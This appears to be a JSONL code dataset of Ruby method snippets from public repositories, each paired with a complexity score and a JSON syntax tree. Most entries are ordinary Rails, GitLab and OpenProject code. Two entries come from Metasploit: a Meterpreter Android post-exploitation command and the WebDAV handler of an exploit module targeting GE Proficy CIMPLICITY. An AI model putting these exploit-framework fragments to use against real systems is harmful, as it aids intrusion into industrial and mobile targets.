{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/android/android.rb","start_line":272,"raw_source":"def set_wallpaper(data)\n    request = Packet.create_request(COMMAND_ID_ANDROID_SET_WALLPAPER)\n    request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)\n    client.send_request(request)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_wallpaper\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_ANDROID_SET_WALLPAPER\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_WALLPAPER_DATA\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"a4e711a7-ae23-47ae-9d15-a1edc8aaf7c5"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/family/invitation.rb","start_line":39,"raw_source":"def set_expiry\n    self.expires_at = EXPIRY_DAYS.days.from_now if expires_at.blank?\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_expiry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_at\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"expires_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXPIRY_DAYS\"]},\"days\"]},\"from_now\"]}]},null]}]}","id":"6b35a70b-a127-44ce-a257-daefd16ff87e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/table_footer_component.rb","start_line":38,"raw_source":"def initialize(count:, total:, upcoming:)\n      super\n\n      @count = count\n      @total = total\n      @upcoming = upcoming\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"count\"]},{\"type\":\"kwarg\",\"children\":[\"total\"]},{\"type\":\"kwarg\",\"children\":[\"upcoming\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@count\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@total\",{\"type\":\"lvar\",\"children\":[\"total\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@upcoming\",{\"type\":\"lvar\",\"children\":[\"upcoming\"]}]}]}]}","id":"da435a21-ef4e-4dd5-b2e4-5c5d296d1f3f"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/grids/grid_area.rb","start_line":108,"raw_source":"def expect_not_renameable\n        within area do\n          expect(page)\n            .to have_css(\".editable-toolbar-title--fixed\")\n        end\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_not_renameable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"area\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".editable-toolbar-title--fixed\"]}]}]}]}]}","id":"9685b695-d193-40b0-a86b-39e3200ccb8f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_api_key_scope.rb","start_line":43,"raw_source":"def permits?(env)\n    matchers.any? { |m| m.with_allowed_param_values(allowed_parameters).match?(env: env) }\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"permits?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matchers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"with_allowed_param_values\",{\"type\":\"send\",\"children\":[null,\"allowed_parameters\"]}]},\"match?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]}]}","id":"ab75db98-dfe0-45df-8864-f6ad685cdbf2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encryption/key_provider.rb","start_line":13,"raw_source":"def builder_class\n          @builder_class ||= self[:builder_class] || NonDerivedKeyProvider\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"builder_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@builder_class\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"builder_class\"]}]},{\"type\":\"const\",\"children\":[null,\"NonDerivedKeyProvider\"]}]}]}]}","id":"19c7e948-3bfc-4ace-907b-a779c1a345d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/chat_message/deployment_message.rb","start_line":41,"raw_source":"def attachment_color\n        case status\n        when 'success'\n          'good'\n        when 'canceled'\n          'warning'\n        when 'failed'\n          'danger'\n        else\n          '#334455'\n        end\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_color\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"success\"]},{\"type\":\"str\",\"children\":[\"good\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"canceled\"]},{\"type\":\"str\",\"children\":[\"warning\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"str\",\"children\":[\"danger\"]}]},{\"type\":\"str\",\"children\":[\"#334455\"]}]}]}","id":"7ec74221-9d3b-492d-9a9b-edb5882adf8a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/approve_appeal_service_spec.rb","start_line":52,"raw_source":"def record_approver\n      change(appeal, :approved_by_account)\n        .from(nil)\n        .to(account)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"record_approver\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\",{\"type\":\"send\",\"children\":[null,\"appeal\"]},{\"type\":\"sym\",\"children\":[\"approved_by_account\"]}]},\"from\",{\"type\":\"nil\",\"children\":[]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"account\"]}]}]}","id":"e896cb86-e252-4bc5-b6bd-260f6fc0c83b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_test.rb","start_line":493,"raw_source":"def test_to_sql_with_large_number\n      assert_equal [authors(:bob)], Author.find_by_sql(Author.where(id: [3, 9223372036854775808]).to_sql)\n      assert_equal [authors(:bob)], Author.find_by_sql(Author.where(id: 3..9223372036854775808).to_sql)\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_sql_with_large_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"bob\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"find_by_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[9223372036854775808]}]}]}]}]},\"to_sql\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"bob\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"find_by_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[9223372036854775808]}]}]}]}]},\"to_sql\"]}]}]}]}]}","id":"0a2925f9-511f-489a-81d4-994cc7ac0b96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/user_with_namespace_shim.rb","start_line":49,"raw_source":"def shimmed_spec_list\n      YAML.load_file(USER_WITH_NAMESPACE_SHIM_YAML) || []\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"shimmed_spec_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"const\",\"children\":[null,\"USER_WITH_NAMESPACE_SHIM_YAML\"]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"7f743c20-0af4-4dc7-a032-2bfda1b597b5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/strong_parameters.rb","start_line":1037,"raw_source":"def reverse_merge(other_hash)\n      new_instance_with_inherited_permitted_status(\n        other_hash.to_h.merge(@parameters)\n      )\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse_merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_hash\"]}]},{\"type\":\"send\",\"children\":[null,\"new_instance_with_inherited_permitted_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_hash\"]},\"to_h\"]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@parameters\"]}]}]}]}","id":"8a633bcf-8f59-4e36-ba4d-3d34e403f740"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":931,"raw_source":"def filter_items(filter_name)\n      case filter_name\n      when 'blocked', 'blocked_pending_approval', 'banned',\n           'deactivated', 'active'\n        filter_by_state(filter_name)\n      when 'admins'\n        admins\n      when 'two_factor_disabled'\n        without_two_factor\n      when 'two_factor_enabled'\n        with_two_factor\n      when 'wop'\n        without_projects\n      when 'external'\n        external\n      when 'trusted'\n        trusted\n      when 'placeholder'\n        placeholder\n      when 'without_placeholders'\n        without_placeholders\n      when 'ldap_sync'\n        ldap\n      when \"without_bots\"\n        without_bots\n      when \"bots\"\n        bots\n      else\n        all_without_ghosts\n      end\n    end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_items\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"blocked\"]},{\"type\":\"str\",\"children\":[\"blocked_pending_approval\"]},{\"type\":\"str\",\"children\":[\"banned\"]},{\"type\":\"str\",\"children\":[\"deactivated\"]},{\"type\":\"str\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[null,\"filter_by_state\",{\"type\":\"lvar\",\"children\":[\"filter_name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"admins\"]},{\"type\":\"send\",\"children\":[null,\"admins\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"two_factor_disabled\"]},{\"type\":\"send\",\"children\":[null,\"without_two_factor\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"two_factor_enabled\"]},{\"type\":\"send\",\"children\":[null,\"with_two_factor\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"wop\"]},{\"type\":\"send\",\"children\":[null,\"without_projects\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"external\"]},{\"type\":\"send\",\"children\":[null,\"external\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"trusted\"]},{\"type\":\"send\",\"children\":[null,\"trusted\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"placeholder\"]},{\"type\":\"send\",\"children\":[null,\"placeholder\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"without_placeholders\"]},{\"type\":\"send\",\"children\":[null,\"without_placeholders\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ldap_sync\"]},{\"type\":\"send\",\"children\":[null,\"ldap\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"without_bots\"]},{\"type\":\"send\",\"children\":[null,\"without_bots\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"bots\"]},{\"type\":\"send\",\"children\":[null,\"bots\"]}]},{\"type\":\"send\",\"children\":[null,\"all_without_ghosts\"]}]}]}","id":"213754c7-e682-43fa-8d71-32ca8c47c528"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/personal_access_tokens_finder.rb","start_line":51,"raw_source":"def by_user(tokens)\n    return tokens unless @params[:user]\n\n    tokens.for_user(@params[:user])\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"for_user\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]}","id":"b83c712f-0a0a-403d-b619-7983fa0af82a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/notifications/group_member_altered_job.rb","start_line":34,"raw_source":"def perform(current_user, members_ids, message, send_notifications)\n    User.execute_as(current_user) do\n      each_member(members_ids) do |member|\n        OpenProject::Notifications.send(event_type(member),\n                                        member:,\n                                        message:,\n                                        send_notifications:)\n      end\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"members_ids\"]},{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"send_notifications\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"execute_as\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_member\",{\"type\":\"lvar\",\"children\":[\"members_ids\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Notifications\"]},\"send\",{\"type\":\"send\",\"children\":[null,\"event_type\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_notifications\"]},{\"type\":\"lvar\",\"children\":[\"send_notifications\"]}]}]}]}]}]}]}","id":"79d1ab1b-7ac0-459f-905a-9b94c8aff1fd"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_users.rb","start_line":13,"raw_source":"def bulk_select_checkbox\n          element.find(\".directory-table__cell-bulk-select\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_select_checkbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\"]},\"find\",{\"type\":\"str\",\"children\":[\".directory-table__cell-bulk-select\"]}]}]}","id":"0404330d-35e2-4189-8949-60994a7b8ed0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/jwt/asymmetric.rb","start_line":19,"raw_source":"def initialize(token, verification_claims)\n          @token = token\n          @verification_claims = verification_claims\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"verification_claims\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@verification_claims\",{\"type\":\"lvar\",\"children\":[\"verification_claims\"]}]}]}]}","id":"8ca2d099-ef96-4ab1-9b3a-e1e30b477cb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/search/found_blob.rb","start_line":123,"raw_source":"def parsed_content\n        strong_memoize(:parsed_content) do\n          if content_match\n            parse_search_result\n          elsif blob_path\n            fetch_blob\n          else\n            {}\n          end\n        end\n      end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"parsed_content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_match\"]},{\"type\":\"send\",\"children\":[null,\"parse_search_result\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob_path\"]},{\"type\":\"send\",\"children\":[null,\"fetch_blob\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"799887b8-d58d-425c-81fa-73c918e978d7"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/feeds/large_forem_experimental.rb","start_line":106,"raw_source":"def experimental_hot_story_grab\n        start_time = Articles::Feeds.oldest_published_at_to_consider_for(user: @user)\n        Article.published.limited_column_select.includes(top_comments: :user)\n          .includes(:distinct_reaction_categories, :subforem, :context_notes)\n          .where(\"published_at > ?\", start_time)\n          .page(@page).per(@number_of_articles)\n          .order(score: :desc)\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"experimental_hot_story_grab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Articles\"]},\"Feeds\"]},\"oldest_published_at_to_consider_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"limited_column_select\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"top_comments\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"distinct_reaction_categories\"]},{\"type\":\"sym\",\"children\":[\"subforem\"]},{\"type\":\"sym\",\"children\":[\"context_notes\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"published_at > ?\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]},\"page\",{\"type\":\"ivar\",\"children\":[\"@page\"]}]},\"per\",{\"type\":\"ivar\",\"children\":[\"@number_of_articles\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"score\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}]}","id":"d3a7246f-70ae-479b-9f91-85ff7f289ea2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/flash_hash_test.rb","start_line":11,"raw_source":"def test_set_get\n      @hash[:foo] = \"zomg\"\n      assert_equal \"zomg\", @hash[:foo]\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_set_get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"zomg\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"zomg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}]}","id":"e6e76ee8-53db-4a26-a705-cc6b24fa5888"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/options.rb","start_line":124,"raw_source":"def set_generate_todo_list_options\n        parser.separator \"\\nGenerate a todo list:\"\n        parser.on('-t', '--todo', 'Generate a todo list') do\n          self.generate_todo_list = true\n        end\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_generate_todo_list_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"separator\",{\"type\":\"str\",\"children\":[\"\\nGenerate a todo list:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on\",{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"str\",\"children\":[\"--todo\"]},{\"type\":\"str\",\"children\":[\"Generate a todo list\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_todo_list=\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"db2f4ed7-25e7-40ce-a782-b89bb775b491"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb","start_line":115,"raw_source":"def process_propfind(cli, request)\n    path = request.uri\n    print_status(\"Received WebDAV PROPFIND request\")\n    body = ''\n\n    if (path =~ /\\.bcl$/i)\n      print_status(\"Sending BCL multistatus for #{path} ...\")\n      body = %Q|<?xml version=\"1.0\"?>\n<a:multistatus xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\" xmlns:c=\"xml:\" xmlns:a=\"DAV:\">\n<a:response>\n</a:response>\n</a:multistatus>\n|\n    elsif (path =~ /\\/$/) or (not path.sub('/', '').index('/'))\n      # Response for anything else (generally just /)\n      print_status(\"Sending directory multistatus for #{path} ...\")\n      body = %Q|<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<D:multistatus xmlns:D=\"DAV:\">\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\n<D:href>#{path}</D:href>\n<D:propstat>\n<D:prop>\n<lp1:resourcetype><D:collection/></lp1:resourcetype>\n<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>\n<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>\n<lp1:getetag>\"39e0001-1000-4808c3ec95000\"</lp1:getetag>\n<D:lockdiscovery/>\n<D:getcontenttype>httpd/unix-directory</D:getcontenttype>\n</D:prop>\n<D:status>HTTP/1.1 200 OK</D:status>\n</D:propstat>\n</D:response>\n</D:multistatus>\n|\n    else\n      print_status(\"Sending 404 for #{path} ...\")\n      send_not_found(cli)\n      return\n    end\n\n    # send the response\n    resp = create_response(207, \"Multi-Status\")\n    resp.body = body\n    resp['Content-Type'] = 'text/xml'\n    cli.send_response(resp)\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_propfind\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Received WebDAV PROPFIND request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.bcl$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending BCL multistatus for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<a:multistatus xmlns:b=\\\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\\\" xmlns:c=\\\"xml:\\\" xmlns:a=\\\"DAV:\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<a:response>\\n\"]},{\"type\":\"str\",\"children\":[\"</a:response>\\n\"]},{\"type\":\"str\",\"children\":[\"</a:multistatus>\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"sub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"index\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending directory multistatus for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:multistatus xmlns:D=\\\"DAV:\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:response xmlns:lp1=\\\"DAV:\\\" 